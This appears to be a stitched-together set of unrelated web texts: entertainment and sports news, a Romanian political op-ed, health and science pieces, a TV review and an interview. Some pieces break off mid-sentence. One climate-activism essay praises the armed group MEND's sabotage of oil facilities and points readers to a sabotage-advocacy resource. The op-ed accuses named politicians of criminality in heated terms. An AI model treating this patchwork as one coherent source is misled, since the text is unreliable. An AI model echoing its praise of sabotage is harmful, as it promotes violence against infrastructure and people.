Of course the last important aspect of Barry Allen, The Flash is his power itself: the speed. Johns and Kreisberg said that they'll be handling his ability in a "very different" way, "something new that people have never seen." For inspiration, Johns mentioned both the "wonderful visuals in The Flash comic book" by Francis Manapul and Brian Buccelato, as "really inspiring." He also said that yesterday's release, the animated Justice League: The Flashpoint Paradox will also be looked to. "There's some sequences in there, I've never seen super-speed like that before."
Arrow season 2 begins October 9, 2013 at 8pm on The CW. Barry Allen's first appearance on the show should come mid-December.Tweet
Domnul Victor Ponta a acumulat o putere uriaşă în ultimele luni şi crede că a sosit momentul să se răfuiască cu toţi cei care l-au făcut să piardă alegerile, dar în primul rând cu diaspora.
Toţi dizidenţii din PSD au fost expulzaţi, iar în Parlament guvernul PSD şi-a cumpărat fidelitatea domnilor Gabriel Oprea şi Călin Popescu Tăriceanu, cu ale lor oştiri de mercenari. Preşedintele Iohannis încearcă un model occidental de coabitare instituţională cu primul-ministru, dar cum să crezi că vei avea o relaţie civilizată cu un mitoman notoriu? „Votul din 16 noiembrie este o lecție dureroasă pentru mine, dar probabil venită la momentul oportun. Și, din fericire, cei care pot să învețe din asemenea lecții, au probabil o a doua șansă”, suspina liderul PSD, la 11 zile după ce pierduse prezidenţialele. Vă spun sincer că nu l-am crezut nici o clipă, dar nici nu credeam că nu va învăţa nimic, ba dimpotrivă, va amplifica aroganţa şi reavoinţa cu care a condus România până la 16 noiembrie.
Declaraţiile patetice ale lui Victor Ponta mi-au venit în minte după numirea la conducerea organizaţiei PSD Diaspora a unui individ cercetat penal, care are interdicţie de a părăsi ţara, Cătălin Rădulescu. Pare o afacere sordidă de partid, dar nu este aşa! Stilul brutal al personajului – care în iulie 2014 îi ameninţa pe procurorii de la DNA, scriind “Va veni vremea schimbării și de la Kovesi în jos în DNA vor plăti (…) Vor ajunge acolo unde i-au băgat sau au vrut să bage pe cei nevinovați” – arată că Victor Ponta vrea să gestioneze în forţă relaţia cu românii aflaţi la muncă în străinătate. Vă avertizez de pe acum: noi, cei din diaspora, va trebui să fim pregătiţi pentru tot ce este mai rău. Provocări securiste, diversiuni, tentative de mituire şi de compromitere, infiltrarea organizaţiilor diasporei, precum şi descurajarea şi blocarea pe orice căi a procesului de votare. Numirea lui Cătălin Rădulescu, zis “Berlusconi de Piteşti”, la şefia PSD Diaspora este o sfidare şi o insultă la adresa Diasporei, dar nu este lipsită de logică – vorbesc de logica de grup infracţional a conducerii acestui partid criptocomunist. S-a terminat cu eforturile de captare a bunăvoinţei, de aceea am început arătând că Victor Ponta a depăşit etapa lacrimilor de crocodil şi este tot mai agresiv. Se trece la acţiuni ofensive. Lăsaţi-mă să vă reamintesc doar câteva din mişcările PSD în zona diasporei:
- În funcţia de ministru pentru relaţia cu românii de pretutindeni a fost numit un personaj de la curtea lui Marian Oprişan, fiul unui fost ofiţer de securitate.
- Secretarul de stat din subordinea acestui ministru este un avocat şmecher din Satu Mare, promovat pe filiera unuia din cele mai toxice partide din România, PC, formaţiunea de casă a turnătorului Dan Voiculescu.
- Consulatele – instituţiile care vin în cel mai strâns contact cu diaspora – au fost invadate de rude şi pile ale nomenklaturii PSD. Sunt oameni care nu au decât o şansă, să-i fie fideli lui Ponta. Orice schimbare de regim va însemna că vor zbura înapoi acasă, pe motiv de incompetenţă.
Am vrut să arăt că PSD urmează un plan pentru campania electorală din diaspora. Nu am de unde să ştiu cu precizie ce pregătesc urmaşii Partidului Comunist, instruiţi la şcoala de cadre a lui Ion Iliescu, dar lăsaţi-mă să mă îndoiesc că este spre binele românilor din străinătate. Cei din PSD nu au ce să mai piardă – imensa majoritate a celor de peste hotare nu vor vota cu Ponta sub nici o formă – aşa că se joacă dur. Nu râdeţi şi nu spuneţi că personaje precum Tîlvar sau Cătălin Rădulescu mai mult rău vor face, întrucât vor enerva alegătorii. Poate că se va întâmpla asta, dar mă tem că îi subestimaţi şi greşiţi.
Ceea ce trebuie făcut este să creştem presiunea pentru adoptarea unei legi a votului prin corespondenţă care să permită unui număr cât mai mare de cetăţeni români aflaţi în străinătate să voteze. Să-i bombardăm pe parlamentarii români cu mesaje, să se sperie că vine încă un 16 noiembrie peste ei. Să folosim mediul virtual pentru a cere această lege şi pentru ca ea să fie aplicabilă.
Trei ani de guvernare Ponta ne-au arătat că acest regim nu reacţionează şi nu se corectează decât atunci când este speriat bine de tot!
Ai informatii despre tema de mai sus? Poti contribui la o mai buna intelegere a subiectului? Scrie articolul tau si trimite-l la editor[at]contributors.roThere’s a lot of buzz right now about coconut oil being good for your brain. The primary argument is that coconut oil is rich in medium-chain triglycerides, or MCTs, which are metabolized a little differently than most types of fat. The MCTs in coconut oil break down into ketones, which can be used by brain cells for fuel. The idea is that supplying the brain with some extra fuel might make it run better.
Under normal circumstances, brain cells use glucose for energy. But because your brain is so important to your survival, there’s a back-up plan. If you run out of glucose, your body starts to convert stored fats into ketones, which are transported to the brain. It’s a little like having a back-up generator for your house. If you lose power during a storm, the back-up generator will kick in to keep the lights on.
Although it’s certainly better than being in the dark, most back-up generators are designed to be used only in emergencies until regular power is restored. Similarly, although they will gladly use ketones when no other energy source is available, healthy brain cells will preferentially burn glucose if it’s available.
So the fact that coconut oil supplies ketones doesn’t necessarily mean that the brain will use them for fuel. And perhaps that’s why I can’t find any studies showing that simply adding coconut oil to the diet leads to improvement in cognitive function in people with normal brain function.
»Continue reading on QuickAndDirtyTips.comThe great musician Lauren Hill once said, “Fantasy is what people want but reality is what they need.”
And the reality is that the climate movement is failing. See this graph? That’s a measure of carbon dioxide levels in the atmosphere from 2005 to mid-2015. The trend is up. That means we’re losing. Until that trend is heading steeply in the other direction, we’re in trouble.
There are some encouraging signs. For the first time, carbon emissions flatlined through 2014, not increasing above the 2013 levels. But what most people don’t appreciate is that this change is a reduction in the acceleration of carbon emissions. The year 2014 simply avoided surpassing 2013 to become the worst year for carbon emissions on record. Instead, it was a tie.
This does not represent a victory. It represents a slowdown in the acceleration of how badly we’re getting our asses kicked. To win, the level of annual carbon emissions must plummet — on the order of 80-90% in the next 20-30 years, according to the climate scientists we have spoken with.
#ShellNO and Other Campaigns Against Fossil Fuels
In Seattle, the #ShellNo campaign to stop the Arctic oil drilling rig Polar Pioneer has thus far been unsuccessful. Despite the huge popular opposition, despite hundreds of kayaktivists taking to the water to block the rig, despite support from groups as disparate as the Seattle City Council and Greenpeace, the rig was not stopped.
And remember: this is only one small fraction of the expansion of fossil fuels; even if Arctic drilling is ultimately stopped, that does not address the already-established impacts.
So why aren’t we able to win?
“Corporations and their owners have learned quite well that when you control the law, you can rise swiftly to power and wealth by shredding bothersome laws adopted by communities,” writes Thomas Linzey, a lawyer and activist with the Community Legal Environmental Defense Fund (CELDF).
Fundamentally, according to Linzey, the problem is that the law is on the side of those in power. Destroying the planet is legal. Propping up a racist police force is legal. The CELDF analysis begins with the constitution, which they recognize as a document that was written by the rich to protect themselves and their power from the rest of the people.
Linzey and his team at CELDF work with communities around the United States (and the world) to implement a revolutionary form of local lawmaking. At its basis, it challenges the argument that federal and state laws that permit destructive projects (like oil & gas drilling, factory farming, mining, etc.) trump any local opposition to the project.
It works like this. First, local organizers from a region under threat must contact CELDF. After learning about the issue, CELDF (which is funded by grants and doesn’t charge for it’s services) sends a trainer to the community to hold what they call a “Democracy School,” a two-day training that explains the legal roots of corporate power.
This is where their strategy goes off the rails. CELDF says the regulatory system isn’t broken; it’s doing exactly what it is meant to do, which is to direct people’s anger and frustration into a mess of bureaucracy that ultimately leads nowhere. The system has no teeth. So instead of this traditional approach, CELDF helps local organizers draft a local law that not only prohibits the project they’re trying to stop, it also removes rights from corporations within that jurisdiction and gives legal recognition to the rights of nature.
In their model, a river — through a human proxy — could sue a company that was causing it harm and argue that the rights of river to exist in a natural state were being infringed upon. This has actually happened. In 2008, CELDF helped the nation of Ecuador include rights of nature in their constitution, and the law has been used there to prevent “development.” In one case, local people brought a lawsuit against an oil project on behalf of a local river, and they won.
In the US, this model is blatantly illegal, since it goes against the constitution, which was set up to protect the rights of businesses. But that is the whole point, says Linzey. “We call it municipal civil disobedience.” And at its core, it’s a grassroots strategy to move from community to community, agitating for people to reclaim their rights to self determination in a grassroots effort to take back the government. The aim is to start with towns and move to counties, states, and eventually to the federal government, forcing meaningful changes into the very structure of law.
It’s not a simple model to implement. It’s only possible in certain communities, since the legal circumstances can vary from town to town and state to state. Getting a measure on the ballot can be difficult, and then there has to be enough engaged citizen power to actually pass the measure into law. It’s a very tricky proposition, as some communities (like Spokane or Bellingham, both towns in Washington State which have been trying to implement a CELDF-style law for several years without success) have learned.
The CELDF model requires dedicated organizers, citizen buy-in, an engaged public, and time. But when these resources can be mobilized, the changes can be profound.
MEND
The second model is equally revolutionary. It comes from the Niger river delta, a vast network of swamps and wetlands that stretches for 27,000 square miles. This is the largest wetland in Africa, and is home to extensive biodiversity.
In 1956, British colonial forces discovered oil, and ever since, oil companies — especially Royal Dutch Shell — have propped up a series of authoritarian governments that are willing to facilitate oil extraction. With more than 2 million barrels per day extracted, the delta is one of the major oil-producing areas of the world.
With the oil has come spills: more than 8,000 of them in the last 45 years. Fish populations have been devastated. Gas flaring is causing acid rain throughout the region, ruining agricultural lands. More than 15% of mangrove forests have been destroyed outright. The people have not benefited from the oil extraction. More than 70% of the delta’s residents live in extreme poverty, their traditional livelihoods destroyed by pollution and no revenues forthcoming from the oil.
Starting in 1970, an organized non-violent resistance movement called MOSOP (the Movement for the Survival of the Ogoni People) began to agitate for environmental justice, democracy, and human rights in the region. For 25 years, the movement spoke out against injustice, organized protests, developed alternative policies, and orchestrated sit-ins in oil facilities.
Then, in 1995, the Nigerian military police (assisted by Shell’s private military forces) arrested 9 leaders in the MOSOP movement. Framed on charges of assassination, these leaders (including Nobel Peace Prize nominee Ken Saro-Wiwa) were executed on November 10th.
With the non-violent movement floundering and the catastrophe accelerating, some individuals in the delta community decided to take matters into their own hands. They formed a new group called MEND: the Movement for the Emancipation of the Niger Delta. Using hit-and-run guerrilla tactics, speed boats, and deep connections in the local communities, MEND began to sabotage oil facilities across the region.
At one point in 2008, MEND disabled 10% of Nigeria’s oil export capacity in one attack, and through a series of attacks reduced production by 40%.
Serious biocentric activists around the world must understand the importance of these actions. Environmentalists in countries around the world have worked for decades to slow and halt fossil fuel extraction, and in not one other case has the capacity of a major producer been impacted to even a fraction of that degree.
No one has been as effective as MEND.
For many decades, activists have been using the same tactics: protests, mass mobilizations, court cases, lobbying. And in many cases, these techniques have been successful, leading to meaningful reform and improvements. But overall, our movements (we speak particularly here to the environmental movement, but the same can largely be said for the anti-racist movement and the feminist movement) have been stagnant and unsuccessful.
These two models — revolutionary democracy and the most direct of direct action — may offer chances at greater levels of success than we have seen in the past 40 years. To learn more about the CELDF model, visit www.CELDF.org or watch Thomas Linzey’s video. To learn more about MEND and the strategic sabotage model of ecological resistance, visit the Deep Green Resistance website.OFFENSIVE LINE PREVIEW: Not that long ago, this was a position group marked by instability, but now it's among the most stable units on the roster. All five starters return after missing a total of four games last season – a group that paved the way for the Panthers to pace the NFL with 500 points.
THREE QUESTIONS
1. How will Mike Remmers bounce back from the disappointment of the Super Bowl?
The Panthers' starting right tackle came under fire after Denver defensive end Von Miller put his feet to the fire in Super Bowl 50, but Carolina showed faith by retaining the restricted free agent. The Panthers are 22-4, including three playoff victories, since Remmers entered the starting lineup late in the 2014 season, and Miller is an elite talent who is worthy of double-team attention when possible but who found himself one-on-one at times. Remmers certainly has the right attitude about the whole thing, saying he's confident the experience will make him a better player going forward. If he's better than he's been on balance the past two-plus seasons, then right tackle spot is in good hands.
2. What should we expect from Daryl Williams in his second season?
Some view Williams as a possible starter at right tackle, but that should be viewed more as a compliment to him than a complaint against Remmers. Williams suffered a knee sprain early in the season opener that killed the momentum he had built with a strong preseason, but he came on strong down the stretch and even started two games as a sixth offensive linemen. The Panthers are backing Remmers on the right side and rewarded left tackle Michael Oher with a three-year contract extension this offseason, but it's great to have Williams waiting in the wings as a reliable reserve on either side of the line at the least.
3. How is the depth along the interior of the line?Snow shovels rest untouched in garages and closets. The plows remain parked. The new snowblower you bought last winter? No need for it in December.
This month is tied for the least-snowy December ever in Chicago, with only a trace amount recorded at O'Hare, the city's official measurement station. Since the National Weather Service began keeping records in 1884, only 1889 and 1912 have recorded as little snow for the month as in the past 29 days.
Precipitation is considered unlikely before the new year, keeping this month with a share of the least-snowy title. The lack of snow is even more noticeable when compared with last December, when 14.2 inches fell in the city, which was on its way to the third-snowiest winter on record.
"Overall, it's just been incredibly snowless for December," said meteorologist Ricky Castro of the National Weather Service office in Romeoville. "Snow is such a wild card. Odds are increasing that we're going to have a below-average amount of snowfall this winter, but how far below is hard to tell."
There's been so little snow that even Las Vegas, of all places, may end up with a higher monthly snow total. A winter storm watch with accumulating snow is forecast for New Year's Eve in the desert southwest, according to the weather service.
A few parts of the metropolitan area have received a dusting or an inch of snow in December. But at O'Hare there has been only sleet, ice pellets or a few minutes of snow that did not leave a measurable amount. A trace of snow is anything under one-tenth of an inch, Castro said. A trace has been record nine times this month, with the largest amount of one-tenth of an inch occurring Dec. 12 at the other weather station at Midway Airport, Castro said.
Anthony Souffle/Chicago Tribune Daniel Murphy, 2, checks a bag for more bread to feed ducks with his parents, Ian and Berenice, and younger brother Alex as they enjoy unseasonably warm weather Dec. 26 near Montrose Beach in Chicago. Daniel Murphy, 2, checks a bag for more bread to feed ducks with his parents, Ian and Berenice, and younger brother Alex as they enjoy unseasonably warm weather Dec. 26 near Montrose Beach in Chicago. (Anthony Souffle/Chicago Tribune)
The normal amount of snow for December in Chicago is 8.2 inches, according to the weather service.
The lack of snow has meant more salt on hand for area public works departments, and a chance for overtime budgets to recover after crews worked extra hours January through March.
"We have not put a plow down this year," said Jim Maiworm, Evanston's assistant director of public works for operations and maintenance. "We are thrilled with the change. Last year we had enough snow for many years to come, so we'll take it."
Evanston has 4,200 tons of salt stockpiled for the roads, and any of the supply not used this winter will mean less salt the city has to buy for next year. The lack of winter storms has meant public works crews have been able to extend street sweeping, catch up on pothole repairs and fix more traffic signs and signals along the city's 145 miles of roads, Maiworm said.
In Orland Park, the village has spent just 3.5 regular hours — and zero overtime — on snow removal this year, compared with 415 regular hours and 966.25 overtime hours over the same span a year ago, according to public information officer Joe LaMargo. Last year the village used about 2,212 tons of salt through this point of the winter. This year: 12 tons.
The winter so far is somewhat similar to 2012, when only nine-tenths of an inch of snow fell in Chicago in December. The trend continued into January 2013, with a light 2.6 inches of snow. But in February and March the snow returned, and the winter ended up with about 30 inches, closer to the average 36.7 inches of snow from fall through spring, Castro said.
"Things can flip pretty quick," he said. "You can't really read into it too much. We can't rule out things swinging back closer to average for the entire winter."
This December, precipitation has been rain on warmer days, with a lack of storms on days with below-freezing temperatures. Much of the rest of the Midwest has also been snow-free, Castro said, with below-average amounts in downstate Illinois, Iowa and Indiana.
In November, Chicago recorded 2.9 inches of snow.
The next chance for measurable snow may be Friday and Saturday, when the forecast calls for a chance of either rain, a wintry mix or snow.
poconnell@tribpub.com
Twitter @pmocwriterA body found near the Tsawwassen, B.C., ferry terminal has been identified as the 74-year-old man who fell into the water Sunday night while trying to rescue his wife, Delta police say.
It was a lot of work getting her out. She was not able to help too much but we got her. — Rescuer and next-door neighbour George Rust
The accident happened around 9:30 p.m. PT near the 4300 block of River Road West in Delta.
His wife had fallen from the couple's small boat that was moored to their houseboat on the Fraser River, and the man fell in as he tried to help her.
The woman was rescued by a neighbour, but her husband's body was found floating near the ferry terminal around 2:30 p.m. on Monday by the coast guard.
The B.C. Coroners Service will now take over the investigation.
According to family members, the 74-year-old man is Everett McGowin, who operated O.K. Boot Corral in Gastown.
Neighbour George Rust said he was in bed when he heard "wrong sounds around the water."
"So I went out to have a look-see, and saw someone, and didn't know who would be in the water at this time, and then realized, it was [the woman]," he said. "It was a lot of work getting her |
the six-hour work day and made fika mandatory. And even though only 1% of Swedish employees work overtime, according to the latest OECD Better Life Index, they’re not any less productive.
Linkoping University professor Viveka Adelsward has studied the history of Swedish social rituals and says breaks like fika may actually boost productivity. ”Studies show that people who take a break from their work do not do less. It’s actually the opposite; efficiency at work can benefit from these kinds of get-togethers,” she writes on her university blog. Her observations support a 2014 Stanford University work productivity study (pdf) that argues for capping the work week at 50 hours maximum.
MUJI’s own design general manager Naoko Yano, who designed a Swedish-themed collection for the Japanese lifestyle brand, says she was struck by the efficacy of these Swedish mini breaks. ”When I was in Sweden, my first impression was that they were very relaxed at work,” she said describing the stress-free business culture. “But I learned that they just knew how to switch back and forth from relaxation to focus.”
Adelsward says that these informal coffee breaks break down barriers in the office.“We meet under informal circumstances, exchange information and comment on what’s happening. The hierarchy breaks down during the fika; we’re all in it together regardless of power and position,” she writes. Those moments of closeness may also let colleagues feel freer to explain or contextualize how they’re acting in the office that day.
Like the propinquity effect that Steve Jobs hoped to create by reshuffling departments at Pixar, fika is also thought to encourage creativity, says Adelsward. “We get a chance to blow the dust off our brains, fill them with inspiration from others, and have an opportunity to test our thoughts and ideas.”Every pure mathematician has experienced that awkward moment when asked, “So what’s your research good for?” There are standard responses: a proud “Nothing!”; an explanation that mathematical research is an art form like, say, Olympic gymnastics (with a much smaller audience); or a stammered response that so much of pure math has ended up finding application that maybe, perhaps, someday, it will turn out to be useful.
That last possibility is now proving itself to be dramatically true in the case of category theory, perhaps the most abstract area in all of mathematics. Where math is an abstraction of the real world, category theory is an abstraction of mathematics: It describes the architectural structure of any mathematical field, independent of the specific kind of mathematical object being considered. Yet somehow, what is in a sense the purest of all pure math is now being used to describe areas throughout the sciences and beyond, in computer science, quantum physics, biology, music, linguistics and philosophy.
Samuel Eilenberg of Columbia University and Saunders Mac Lane of the University of Chicago developed category theory in the 1940s to build a bridge between abstract algebra (the generalization of high school algebra) and topology (the qualitative study of shapes, including those in very high dimensions). Very similar arguments repeatedly cropped up in the two fields in different contexts, so the mathematicians reasoned that some deeper structure must unite these situations.
They created an organizing framework that any field of mathematics could be put in. A “category” is a collection of mathematical objects together with arrows connecting them. So, for example, the natural numbers are the objects of a category, and one particular arrow in that category would connect each number to its double. Eilenberg and Mac Lane could then analyze maps between entire categories, and maps between those maps. This allowed the connections between different fields of mathematics to be formulated precisely.
Mathematicians sardonically dubbed the field “abstract nonsense.” Its extreme level of abstraction drains all the content out of the theory, since the objects can represent nearly anything. Draining the content, many expected, would also drain its power: What can anyone possibly say that will apply to essentially all mathematical objects?
Surprisingly, a lot. The recurrent arguments that had spurred the theory were ones that applied to all categories. Eilenberg and Mac Lane’s framework revealed an entire world of theorems that could be applied throughout mathematics.
Logicians started using category theory, viewing a deduction of one theorem from another as an arrow connecting the two. Then computer scientists carried category theory further still, viewing programs as maps connecting input of one category to output of another. A program that multiplies two numbers, for example, would go from the category of pairs of numbers (the numbers being multiplied) to the category of numbers (their product).
These connections turned out to be extraordinarily deep — indeed, the theory of programming languages and the field of logic can be seen as essentially identical to category theory. Computer scientist Robert Harper of Carnegie Mellon University jokingly calls this “computational trinitarianism,” imitating the Christian notion that God is a trinity of Father, Son and Holy Ghost.
“The central dogma of computational trinitarianism,” he wrote on his blog, “holds that Logic, Languages, and Categories are but three manifestations of one divine notion of computation. There is no preferred route to enlightenment: each aspect provides insights that comprise the experience of computation in our lives. Computational trinitarianism entails that any concept arising in one aspect should have meaning from the perspective of the other two.” Porting ideas between the fields has led to profound insights for all three.
Category theory’s spread has continued. Many results in quantum information theory turn out to follow directly from category theory. Category theory’s hierarchical structure has made it useful for modeling complex biological systems. Category theoretic models of language have outperformed conventional ones in distinguishing, for example, the meaning of “saw” in sentences like “I saw a man with a saw.” It’s even proving valuable in developing rigorous models of music theory.
David Spivak of MIT has perhaps the boldest vision for category theory’s potential. In a paper posted February 27 on arXiv.org, he argues that all scientific thought can be expressed in a structured way using category theory. Both ideas and the data supporting them can be encoded in the universal language of category theory, allowing scientists to present a database with their full work. Spivak even imagines a Facebook-like interface with people’s full thoughts and experiences presented in a category theoretic database that would connect people whose databases overlap.
“If people adopt the level of rigor of category theory,” he says, “it will provide a precise language for science as a whole, and it will help individual scientists to clarify their thinking. My ultimate dream is that communication problems would only happen because someone is trying to lie.”Badimia native title claim over 36,000sq km in WA's mid west rejected
Updated
A native title claim for a 36,000 square kilometre swathe of land in Western Australia has been rejected by the Federal Court.
The claim, which was originally lodged in 1996, covers an area in the state's Mid West and Murchison regions and affects people who identify as Badimia.
The Federal Court dismissed the claim due to "connection issues", saying it did not believe there was sufficient evidence to prove the Badimia people's ongoing connection to country.
Solicitors from the Yamatji Marlpa Aboriginal Corporation have represented claimants throughout the process.
The corporation's principal legal officer Michael Meegan said it was a disappointing decision for those involved.
"It's heartbreaking for the Aboriginal people and it's a lost opportunity to progress reconciliation with people to the land in the claim area," he said.
"There's a lost opportunity in terms of recognising the Aboriginal people, providing support for them to close the gap, and... for that independence that Aboriginal people are looking for."
Mr Meegan said Aboriginal people faced challenges from exploration, mining, settlement, farming and government policy, which affected their ability to maintain connection to country.
"The Aboriginal people find it very hard to understand that if you've lost it, [it] doesn't matter what's caused it," he said.
"So they can't say well, that's the reason why it was difficult for us to practice our laws and customs because of these things.
"But nevertheless, the Badimia people maintain that connection to country, but unfortunately the court didn't consider there was sufficient evidence to be able to recognise that native title."
Mr Meegan said the decision would affect more than 500 people.
He said the corporation was reviewing the judgment to see if there were grounds for appeal.
The claim was based in the Yamatji region, and covered areas in the shires of Cue, Dalwallinu, Menzies, Mt Magnet, Mt Marshall, Perenjori, Yalgoo and Yilgarn.
Topics: native-title, cue-6640, dalwallinu-6609, mount-magnet-6638, menzies-6436, south-yilgarn-6426, yalgoo-6635
First postedLouise Watt, The Associated Press
BEIJING -- China's leaders have banned the construction of government buildings for five years as another step in a frugality drive that aims to address public anger at corruption.
The general offices of the Communist Party's central committee and the State Council -- China's Cabinet -- jointly issued the directive Tuesday, according to the official Xinhua News Agency. No directive was immediately available online.
Across China, grand government buildings with oversized offices and fancy lighting including chandeliers have mushroomed in many cities. They are often among the most impressive buildings in their own towns, drawing disapproval from the public.
President Xi Jinping has spearheaded a campaign to cut through pomp, formality and waste among senior officials that have alienated many ordinary citizens.
This year, high-end restaurants have reported a downturn in business as government departments and state-owned companies cancelled banquets.
Xinhua reported that the directive orders an "across-the-board halt" to construction of official buildings, and "glitzy" structures built as training centres, hotels or government motels. Some government agencies have built such buildings in seaside resorts and other scenic spots as a perk for their officials and employees who can stay for free or at deeply discounted prices. They sometimes open to the public as profit-making ventures.
"Some office buildings use up a lot of money, there are operating costs and a lot of money is spent on people eating and drinking which all comes from government funds, so it's a kind of corruption," said Liu Shanying, a politics researcher at the Chinese Academy of Social Sciences in Beijing. The five-year construction ban is a significant move to fight corruption, he said.
The directive forbids luxury interior design and the expansion of office compounds that is done under the guise of repair work, according to Xinhua. It also says that officials with more than one post should have only one office while the offices of those who have retired or taken leave should be returned in time.
Xinhua said the directive noted that some departments and localities have built government office compounds in violation of regulations, which has tainted the image of the Communist Party and the government and stirred vehement public disapproval.
It added that the directive calls on party and government bodies to be frugal and ensure that government spending goes toward developing the economy and boosting living standards.
There have been restrictions on constructing new government buildings in the past, but they have not always been implemented well at local levels, said Liu.
Even the offices of some heads of rural counties are sometimes up to 200 square meters (2,150 square feet) in size, "maybe even bigger than the U.S. president's office," said Liu.
AP researcher Henry Hou contributed to this reportWhen the anti-corporate thriller “Mr. Robot” débuted, last year, it felt like a shock to multiple systems, one of them being the network on which it aired. That was USA, a subsidiary of NBCUniversal and Comcast; the home of upbeat, aspirational procedurals, it’s known as the “blue skies” network. “Mr. Robot” was more of a hurricane advisory. Created by a newcomer, Sam Esmail, it was a parable of class rage, with a vigilante anti-hero, welding the paranoid style in American TV drama onto the ideology—and, just as important, the aesthetics—of both the Occupy movement and Anonymous.
Esmail’s plot was a Philip K. Dick puzzle box, exposing one false reality after another. By day, the alienated junkie genius Elliott Alderson worked as a corporate cyber-security expert; by night, he was part of a radical hacker collective called FSociety. He’d been recruited by the mysterious Mr. Robot (Christian Slater, doing his jocular-bully shtick). Later, we learned that Mr. Robot was Elliott’s dead father. Elliott’s colleague Darlene was in fact his sister. And who was Elliott talking to in that deadpan voice-over? Was it... us? In any case, by the finale, FSociety had accomplished its goal: it had hacked Wall Street and dissolved global debt, erasing student loans, hospital bills, and exploitative mortgages. Anarchic celebrations erupted, framed by Sephora and Starbucks billboards—potential advertisers held up for mockery, a startling break with TV tradition. It was as if USA Network had rebranded as Jacobin.
Rami Malek’s performance as Elliott was tremendous, as he peeked from a hoodie with sad-owl eyes slicked with sweat, shuddering as if he were in continual detox from society’s poisons. And yet there was something synthetic about the show, too, despite its rhetorical boldness and its sensational editing and music direction. The storytelling was a grab bag: niftily disorienting but also, at times, humorless or claustrophobic, as if it were less a show about human beings and more a staging ground for cathartic spectacles of economic justice. Conformist bad guys (cheaters, porn hounds, bankers) were hacked and blackmailed; a Wall Street shill shot himself in the head on live TV; and, at the end, the screen swarmed with protesters in Mr. Monopoly masks, holding signs that read “We Do Not Compromise.”
In an affectionate critique written after the first season, the New York critic Matt Zoller Seitz diagnosed “Mr. Robot” ’s deep investment in what he described as “Cinema de Dudebro”: “ ‘Taxi Driver,’ ‘American Psycho,’ ‘The Matrix,’ the complete works of Stanley Kubrick and David Fincher—you name it, ‘Mr. Robot’ probably carries it deep within its aesthetic DNA, along with the original ‘Star Wars’ trilogy.” In Zoller Seitz’s eyes, Esmail’s mastery of fanboy pastiche was both a mark of the show’s undeniable ambition and the “bug” in its code, the quality that kept it skittering on the surface of greatness.
That analysis nailed the show’s most maddening quality, the way that it sometimes felt as if it cut through the world’s bullshit—and then sometimes offered up its own brand as a replacement. This problem continues in the second season, which, in its first two episodes, alternates between sequences of masterly beauty—including two memorable acts of digital terrorism—and one too many deep talks between Elliott and his friends.
Still, I knew that I would keep watching, no matter what, after an early sequence that flashes back to a young Elliott in the hospital, because his abusive father has shoved him out a window. While his parents bicker about co-pays, the camera drifts, in a woozy unbroken shot, to gaze first at Elliott, then with him. We see an X-ray of his brain, and then, peering closer, a Rorschach test, or Dalmatian spots, a nagging pattern that we recognize but can’t quite place. As Lupe Fiasco’s “Daydreamin’ ” plays, the black-and-white blobs dance, and the lens widens to reveal the answer: it’s the cover of a grade-school composition notebook. In quick cuts, we rise up to see the notebook, then the notebook framed by a desk, then the notebook framed by the now grownup Elliott’s room, where he lies in bed like an invalid. He’s sober, living with his mother, and, crucially, offline. His brain is the notebook is the computer: imperfect memory devices sustaining a broken system. “I’ve been keeping a journal,” Elliott explains, in his trademark monotone. “It’s the only way to keep my program running.”
Sequences like this are so moodily elegant, evoking the fragility of perception, that they elevate the show’s more familiar musings, especially Elliott’s perseverations on the brainwashed basics who surround him. Yes, identity is an illusion created by advertisers; happiness is for analog folks who take Lexapro and watch “NCIS,” who favor “the thick grimy film of Facebook friend requests and Vine stars.” (“Isn’t that where it’s comfortable—in the sameness?” Elliott asks his therapist.) We’re not supposed to accept Elliott’s Andy Rooney hot takes at face value (for one thing, he’s still hallucinating his father as Mr. Robot), but his reflections are too often borne out by the show’s cartoon vision of the world: in the land of the one per cent, soulless rich bitches get off to knife play, sad P.R. flacks mutter along to motivational tapes, and dumb gigolos switch from the news to “Vanderpump Rules.”
Elliott’s own mental state is treated not so much as an illness (some combination of autism and schizophrenia) but as a metaphor for the pain of wokeness, the suffering of the princess who really feels the capitalist pea. This intensity can be accidentally funny, as in one sequence during which Elliott laugh-cries so hard that he resembles Paulina Porizkova in the Cars’ “Drive” video. There’s something exhausting about Christian Slater doing his “Dream Ghost” routine, too. But, even as I write these sentences, I feel like an absolute jerk. I mean, is Wall Street rigged? Pretty much, yeah, it is. “Mr. Robot” may be self-serious, but it’s also a rarity on TV, capturing a modern mood, an ambient distrust based on genuine social betrayals. For all its flaws, it feels like an alarm going off. It’s worth paying attention to.We lie to ourselves all the time. We tell ourselves that we are better than average -- that we are more moral, more capable, less likely to become sick or suffer an accident. It’s an odd phenomenon, and an especially puzzling one to those who think about our evolutionary origins. Self-deception is so pervasive that it must confer some advantage. But how could we be well served by a brain that deceives us? This is one of the topics tackled by Robert Trivers in his new book, “The Folly of Fools,” a colorful survey of deception that includes plane crashes, neuroscience and the transvestites of the animal world. He answered questions from Mind Matters editor Gareth Cook.
Cook: Do you have any favorite examples of deception in the natural world?
Trivers: Tough call. They are so numerous, intricate and bizarre. But you can hardly beat female mimics for general interest. These are males that mimic females in order to achieve closeness to a territory-holding male, who then attracts a real female ready to lay eggs. The territory-holding male imagines that he is in bed (so to speak) with two females, when really he is in bed with one female and another male, who, in turn, steals part of the paternity of the eggs being laid by the female. The internal dynamics of such transvestite threesomes is only just being analyzed. But for pure reproductive artistry one can not beat the tiny blister beetles that assemble in arrays of 100’s to 1000’s, linking together to produce the larger illusion of a female solitary bee, which attracts a male bee who flies into the mirage in order to copulate and thereby carries the beetles to their next host.
Cook: At what age do we see the first signs of deception in humans?
Trivers: In the last trimester of pregnancy, that is, while the offspring is still inside its mother. The baby takes over control of the mother’s blood sugar level (raising it), pulse rate (raising it) and blood distribution (withdrawing it from extremities and positioning it above the developing baby). It does so by putting into the maternal blood stream the same chemicals—or close mimics—as those that the mother normally produces to control these variables. You could argue that this benefits mom. She says, my child knows better what it needs than I do so let me give the child control. But it is not in the mother’s best interests to allow the offspring to get everything it wants; the mother must apportion her biological investment among other offspring, past, present and future. The proof is in the inefficiency of the new arrangement, the hallmark of conflict. The offspring produces these chemicals at 1000 times the level that the mother does. This suggests a co-evolutionary struggle in which the mother’s body becomes deafer as the offspring becomes louder.
